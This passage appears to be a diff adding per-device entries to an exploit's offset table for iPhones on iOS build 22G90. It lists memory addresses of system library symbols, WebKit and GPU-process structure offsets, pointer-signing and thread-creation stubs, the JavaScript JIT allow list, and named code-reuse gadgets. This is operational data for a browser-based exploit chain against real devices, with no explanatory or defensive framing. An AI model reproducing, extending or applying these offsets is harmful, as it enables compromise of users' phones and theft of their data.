WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b8c0n, + }, + +"iPhone11,4_22G90": { + __pthread_head : 0x2689b0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f97f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8c38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707ac8n, + free_slabs : 0x1ed7c1250n, + gadget_control_1_ios184 : 0x23ef4e2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f007150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da138n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccf08b4n, + libGPUCompilerImplLazy_cstring : 0x23be3a870n, + libsystem_c__atexit_mutex : 0x1ed6e66d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5940n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576dfe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27101c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a6e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8874b8n, + WebCore__initPKContact_value : 0x1ed8874c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b8c0n, + }, + + "iPhone11,8_22G90": { + __pthread_head : 0x26899c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f97f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8c38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707ac8n, + free_slabs : 0x1ed7c1250n, + gadget_control_1_ios184 : 0x23ef122ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f003150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da138n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccb48b4n, + libGPUCompilerImplLazy_cstring : 0x23bdfe870n, + libsystem_c__atexit_mutex : 0x1ed6e66d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5940n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576a3e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271004000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a6e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8874b8n, + WebCore__initPKContact_value : 0x1ed8874c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b8c0n, + }, + "iPhone12,1_22G90": { + __pthread_head : 0x268aa4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9e28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9910n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9870n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f98c0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8cb8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707b48n, + free_slabs : 0x1ed7c12d0n, + gadget_control_1_ios184 : 0x23ef122ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f003150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da4f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da1a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da1a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da1b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da0f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da1b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccb48b4n, + libGPUCompilerImplLazy_cstring : 0x23bdfe870n, + libsystem_c__atexit_mutex : 0x1ed6e6758n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e59c0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576e7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271118000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a768n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887538n, + WebCore__initPKContact_value : 0x1ed887540n, + WebCore__PAL_getPKContactClass : 0x1ed87e9f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885d10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885d08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885cf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b940n, + }, + "iPhone12,3_5_22G90": { + __pthread_head : 0x268aa4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9e28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9910n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9870n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f98c0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8cb8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707b48n, + free_slabs : 0x1ed7c12d0n, + gadget_control_1_ios184 : 0x23ef122ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f003150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da4f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da1a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da1a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da1b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da0f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da1b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccb48b4n, + libGPUCompilerImplLazy_cstring : 0x23bdfe870n, + libsystem_c__atexit_mutex : 0x1ed6e6758n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e59c0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576e7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271118000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a768n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887538n, + WebCore__initPKContact_value : 0x1ed887540n, + WebCore__PAL_getPKContactClass : 0x1ed87e9f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885d10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885d08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885cf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b940n, + }, +"iPhone12,5_22G90": { + __pthread_head : 0x268aa4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9e28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9910n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9870n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f98c0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8cb8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707b48n, + free_slabs : 0x1ed7c12d0n, + gadget_control_1_ios184 : 0x23ef122ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f003150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da4f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da1a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da1a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da1b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da0f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da1b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccb48b4n, + libGPUCompilerImplLazy_cstring : 0x23bdfe870n, + libsystem_c__atexit_mutex : 0x1ed6e6758n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e59c0n, + mainRunLoop : 